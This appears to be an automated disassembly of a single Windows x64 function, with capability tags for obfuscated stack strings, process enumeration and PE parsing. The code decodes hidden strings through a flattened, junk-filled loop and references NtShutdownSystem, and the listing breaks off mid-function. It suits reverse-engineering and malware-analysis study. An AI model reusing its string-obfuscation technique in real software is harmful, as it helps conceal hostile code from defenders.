Function at 0x140109e80
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov rax, qword [0x1401d8800]
xor rax, rsp
mov qword [rbp + 0x2f0], rax
mov r12, rdx
mov r15, qword [0x14022c218]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140109100
mov rcx, r15
call fcn.140109e10
test al, al
jne 0x14010ee84
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rax
lea rcx, [rbp + 0x150]
call fcn.14004a140
nop
mov edx, 0x26e0
lea rcx, [rbp + 0x150]
call fcn.140112a60
lea r9, [rbp + 0x150]
lea r8, str.NtShutdownSystem
lea rdx, [0x1401b6ca0]
lea rcx, [rbp + 0xe8]
call fcn.140121410
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xf0]
call fcn.1400f8d50
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140044d70
nop
call fcn.140108620
test al, al
jne 0x14010aadd
mov dword [rbp - 0x58], 0x756b7f01
mov dword [rbp - 0x54], 0xba6747c
mov dword [rbp - 0x50], 0x7076a577
mov dword [rbp - 0x4c], 0x63be7d61
mov dword [rbp - 0x48], 0x66106412
mov dword [rbp - 0x44], 0xa5a4ab16
mov word [rbp - 0x40], 0x83a6
mov byte [rbp - 0x3e], 0x92
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x3d], xmm0
mov qword [rbp - 0x2d], rax
movabs rsi, 0x50d46287caf38356
movabs r12, 0x979a64297eb28ec2
movabs r14, 0x6faa376764a5b5ea
movabs r15, 0x219f9a34cd8e65d2
movabs r13, 0xf26ad1e1d029484e
movzx r10d, byte [rbp + 0x148]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x14010aad4
movzx edi, byte [rbp + rbx - 0x58]
movzx r11d, dil
cmp r8, rbx
ja 0x14010aac8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010a061
lea rcx, [rbx + r12]
mov rax, rdi
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdi
add r10, rcx
sub r10b, 0x4e
jmp 0x14010a09a
je 0x14010aa66
inc rax
cmp r8, rax
je 0x14010aa00
lea rax, [r9 + 2]
cmp r8, rax
je 0x14010a9c5
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010a996
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010a949
movzx r11d, dil
nop
cmp r9, rbx
ja 0x14010aabc
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14010a0cd
lea rcx, [rbx + r14]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
jmp 0x14010a100
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010a928
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010a8fe
lea rax, [r9 + 9]
cmp r8, rax
je 0x14010a8ea
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14010a59f
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14010a580
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14010a55d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010a538
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14010a519
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14010a4fa
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010a4db
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14010a4bc
lea rax, [r9 + 9]
cmp r8, rax
je 0x14010a110
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14010aa9d
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14010a2a9
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14010a289
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14010a26e
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14010a437
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14010a3f8
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14010a3d1
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14010a110
mov r8, rax
lea r9, [rax + 0x3e8]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14010a3a8
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14010a389
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14010a369
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14010a34e
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14010a32f
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14010a30a
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14010a2e2
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14010a2c4
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x61]
jmp 0x14010a110
lea rcx, [rbx + rsi]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x14010a100
lea rcx, [rbx + r15]
movzx eax, cl
and al, dil
mov edx, reloc.WLDAP32.dll_Ordinal_33
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x14010a0a0
lea rcx, [rbx + r13]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
jmp 0x14010a035
lea edx, [rbx + 0x50]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x30
add r10b, dl
jmp 0x14010a971
lea edx, [rbx - 0x34]
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14010a022
lea edx, [rbx + 0x48]
movzx eax, dil
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
dec rbx
inc rbx
jmp 0x14010a022
lea edx, [rbx - 0x3c]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x5c
movzx r11d, bl
jmp 0x14010a871
lea ecx, [rbx - 0x44]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x24
jmp 0x14010a9e7
lea edx, [rbx + 0x38]
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
movzx r11d, bl
jmp 0x14010a8b8
lea edx, [rbx - 0x4c]
movzx eax, dil
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x14010aa28
lea ecx, [rbx + 0x30]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x50
movzx eax, byte [rbp + rbx - 0x58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010a022
lea edx, [rbx + 0x66]
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
mov byte [rbp + rbx - 0x58], r10b
inc rbx
jmp 0x14010a022
lea edx, [rbx - 0x1e]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x2e
add r10b, dl
cmp r9, 0x41
jb 0x14010a3eb
lea edx, [rbx + 0x4c]
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x28]
jmp 0x14010a971
lea edx, [rbx - 0x26]
movzx eax, dil
and al, dl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 1
je 0x14010a89a
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14010a6cb
lea edx, [rbx + 0x3a]
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
cmp r8, 4
jae 0x14010a856
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14010a7a4
lea edx, [rbx + 0x24]
movzx eax, dil
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x14010a40e
lea edx, [rbx - 8]
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14010aa28
movzx r11d, bl
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x2c
jmp 0x14010a8bb
lea edx, [rbx - 0x10]
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14010a9e7
lea edx, [rbx + 0x6c]
movzx eax, dl
and al, dil
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14010a9e4
lea edx, [rbx + 0x64]
movzx eax, dl
and al, dil
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
dec rbx
inc rbx
jmp 0x14010a022
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x14010a022
lea edx, [rbx + 0x5c]
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14010a971
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14010a5c3
lea rcx, [rbx + r12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4e
jmp 0x14010a451
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14010a5f9
lea edx, [rbx - 0x2c]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + rbx - 0x58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010a022
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010a621
movzx r11d, bl
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 4
jmp 0x14010a8bb
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14010a649
lea edx, [rbx + 0x60]
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14010a9e7
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010a676
movzx r11d, bl
lea edx, [r11 + 0x68]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14010a874
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010a69f
lea ecx, [rbx - 0x14]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x74
dec rbx
inc rbx
jmp 0x14010a022
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14010a451
lea edx, [rbx - 0xc]
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14010a971
jne 0x14010a6eb
lea edx, [rbx - 0x42]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x32
add r10b, dl
jmp 0x14010a971
inc rax
cmp r8, rax
jne 0x14010a71b
lea edx, [rbx + 0x42]
movzx eax, dil
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14010a022
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010a744
movzx r11d, bl
lea edx, [r11 + 0x4a]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 6
jmp 0x14010a871
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010a76e
movzx r11d, bl
lea edx, [r11 - 0x2a]
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x14010a8b8
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010a486
lea ecx, [rbx - 0x22]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x12
movzx eax, byte [rbp + rbx - 0x58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010a022
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010a7da
lea edx, [rbx - 0x58]
movzx eax, dil
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, byte [rbp + rbx - 0x58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010a022
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010a804
movzx r11d, bl
lea edx, [r11 - 0x50]
movzx eax, dil
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x14010a8b8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010a82b
movzx r11d, bl
lea edx, [r11 + 0x3c]
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x14010a871
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14010a411
lea edx, [rbx - 0x38]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x78
add r10b, dl
jmp 0x14010a971
movzx r11d, bl
lea edx, [r11 - 0x30]
movzx eax, dil
and al, dl
movzx ecx, dil
sub cl, al
add cl, 0x28
lea r10d, [rcx + rcx]
add r10b, dl
sub r11b, 0x6e
movzx eax, r11b
and al, dil
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dil
mov byte [rbp + rbx - 0x58], cl
jmp 0x14010a9e4
movzx r11d, bl
lea edx, [r11 + 0x54]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, dil
sub r10b, 0x4c
add r10b, dl
add r11b, 0x16
movzx eax, dil
and al, r11b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dil
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx - 0x58], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14010aa28
movabs rcx, 0x188542524d33bf8e
mov edx, reloc.WS2_32.dll_ntohs
jmp 0x14010aa75
movabs rcx, 0xfd4890605cd50e76
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
dec rbx
inc rbx
jmp 0x14010a022
movabs rcx, 0x9edeffba620ad36e
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x14010a971
movabs rcx, 0x40756f1467409866
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
movzx edi, r11b
lea ecx, [rbx + 0xe]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x62
add cl, dil
mov byte [rbp + rbx - 0x58], cl
inc r9
dec rbx
inc rbx
jmp 0x14010a022
movabs rcx, 0xe20bde6e6c765d5e
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, gethostname
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14010a022
movabs rcx, 0x83a24dc871ac2256
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14010a022
movabs rcx, 0xf603f4cf797cc9ca
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, 0x3d
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
movzx edi, r11b
lea edx, [rbx - 0x28]
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx - 0x58], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010a022
movabs rcx, 0xc6cf2c7c7c17ac46
mov edx, listen
add rcx, rbx
movzx eax, cl
and al, dil
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
movzx eax, byte [rbp + rbx - 0x58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010a022
add bl, 0x46
movzx eax, dil
and al, bl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, bl
jmp 0x14010a010
lea rdx, [rbp + 0x177ea00]
jmp 0x14010edfb
lea rdx, [rbp + 0x12a78c2]
jmp 0x14010edfb
lea rdx, [rbp - 0x58]
jmp 0x14010edfb
lea rcx, [rbp + 0x149]
call fcn.14004f7d0
mov dword [rbp - 0x20], 0x858b8394
mov dword [rbp - 0x1c], 0x8fd68791
mov dword [rbp - 0x18], 0xa9eabaa9
mov dword [rbp - 0x14], 0xefb0a8a9
mov dword [rbp - 0x10], 0xa7a3bebc
mov dword [rbp - 0xc], 0xf9f8a1a1
mov word [rbp - 8], 0x3e6
mov byte [rbp - 6], reloc.WLDAP32.dll_Ordinal_26
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 5], xmm0
mov qword [rbp + 0xb], rax
movabs r14, 0x61013a2c2f3b14d8
movabs r13, 0x690b0b8da913bb98
movzx ebx, byte [rbp + 0x148]
nop word [rax + rax]
mov rax, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x14010b723
movzx r11d, byte [rbp + rdi - 0x20]
mov esi, r11d
cmp rax, rdi
ja 0x14010b71a
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x14010aba0
lea rdx, [rdi + r14]
mov rcx, rdx
and rcx, rsi
imul rbx, rcx, 0xfffffffffffffffe
add rbx, rdx
add rbx, rsi
add bl, 0x18
jmp 0x14010abe6
je 0x14010b69e
inc rcx
cmp rax, rcx
je 0x14010b63d
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14010b5f0
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14010b5c4
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x14010b59e
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14010b55b
movzx r10d, dil
nop word [rax + rax]
cmp r9, rdi
ja 0x14010b711
lea rdx, [r9 + 4]
cmp rax, rdx
jae 0x14010ac19
lea edx, [r10 - 0x48]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 8
jmp 0x14010ac60
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14010b53e
inc rcx
cmp rax, rcx
je 0x14010b51f
cmp rax, rdx
je 0x14010b4ff
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14010b4df
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14010b4b5
nop word [rax + rax]
lea rcx, [rax + r9]
cmp rcx, rdi
jbe 0x14010b1aa
nop dword [rax]
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x14010b18a
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x14010b165
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x14010b143
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x14010b129
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x14010b106
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x14010b0e6
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x14010b0c6
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14010b0aa
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x14010b080
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x14010ac70
lea rax, [r9 + 0xa]
lea r9, [rax + 1]
lea rcx, [r9 + 2]
cmp rax, rcx
jb 0x14010b6f1
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x14010b6d1
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x14010ae5e
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x14010ae44
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x14010ae24
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x14010b030
lea rcx, [r9 + 0x200]
cmp rax, rcx
jb 0x14010afe7
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x14010afa7
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x14010af84
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x14010ac70
lea rax, [r9 + 0x40]
lea r9, [rax + 5]
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x14010af67
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x14010af4a
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x14010af30
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x14010af14
lea rcx, [r9 + 0x400]
cmp rax, rcx
ja 0x14010aefc
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x14010aedf
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x14010aeb9
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x14010ae94
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x14010ae7a
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x14010ac70
lea rax, [r9 + 0x200]
lea r9, [rax + 0xa]
jmp 0x14010ac70
lea r8d, [r10 + 0x48]
movzx ecx, r8b
and cl, r11b
mov edx, 4
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14010ac60
lea edx, [r10 - 0x68]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x28
jmp 0x14010abf0
sub r10b, 0x18
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x58
jmp 0x14010ab75
lea edx, [r10 - 0x40]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x40
jmp 0x14010b574
add r10b, 0x10
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x70
inc r9
dec rdi
inc rdi
jmp 0x14010ab62
add r10b, 0x60
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14010ab62
lea r8d, [r10 - 0x50]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_26
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
jmp 0x14010b475
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
add rax, r9
jmp 0x14010b5d8
add r10b, 0x50
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x30
jmp 0x14010b5d8
lea edx, [r10 - 0x60]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x60
jmp 0x14010b611
sub r10b, 0x10
movzx ecx, r10b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x14010b65a
add r10b, 0x40
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x14010b6bb
add r10b, 8
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x38
mov byte [rbp + rdi - 0x20], bl
inc rdi
jmp 0x14010ab62
lea edx, [r10 + 0x58]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x68
cmp r9, 0x10
jb 0x14010af9b
lea edx, [r10 + 0x10]
movzx ecx, dl
and cl, r11b
mov r8d, 8
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r11b
lea ebx, [r8 + r8]
jmp 0x14010b574
lea r8d, [r10 - 0x58]
movzx ecx, r8b
and cl, r11b
mov edx, 0x34
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
cmp rax, 6
jae 0x14010b460
lea rcx, [r9 + 0x41]
cmp rax, rcx
jbe 0x14010b36c
lea edx, [r10 + 0x30]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x50
jmp 0x14010afbc
lea r8d, [r10 - 8]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_30
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
lea rcx, [rax + r9]
cmp rcx, 2
je 0x14010b49f
lea rcx, [r9 + 0x400]
cmp rax, rcx
jbe 0x14010b29d
lea edx, [r10 + 0x78]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x48
jmp 0x14010b002
add r10b, 0x50
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x30
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14010ab62
sub r10b, 0x60
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x60
jmp 0x14010b65d
lea r8d, [r10 - 0x10]
movzx ecx, r8b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14010b611
add r10b, 0x40
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x14010b5d8
sub r10b, 0x70
movzx ecx, r10b
and cl, r11b
mov edx, 8
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
add rax, r9
jmp 0x14010b5d8
lea edx, [r10 - 0x20]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x20
jmp 0x14010b478
add r10b, 0x30
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x50
dec rdi
inc rdi
jmp 0x14010ab62
add r10b, 0x80
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
add bl, 0x80
inc r9
dec rdi
inc rdi
jmp 0x14010ab62
lea r8d, [r10 - 0x30]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14010b574
lea rcx, [r9 + 0x80]
cmp rax, rcx
jae 0x14010b1cb
lea r8d, [r10 - 0x28]
movzx ecx, r8b
and cl, r11b
mov edx, recv
jmp 0x14010b040
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14010b1fe
add r10b, 0x70
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x10
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14010ab62
inc rcx
cmp rax, rcx
jne 0x14010b223
add r10b, 0x20
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x14010b65a
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14010b24c
lea r8d, [r10 - 0x30]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14010b611
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x14010b271
add r10b, 0x80
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
add bl, 0x80
jmp 0x14010b5d8
lea rcx, [r9 + 3]
cmp rax, rcx
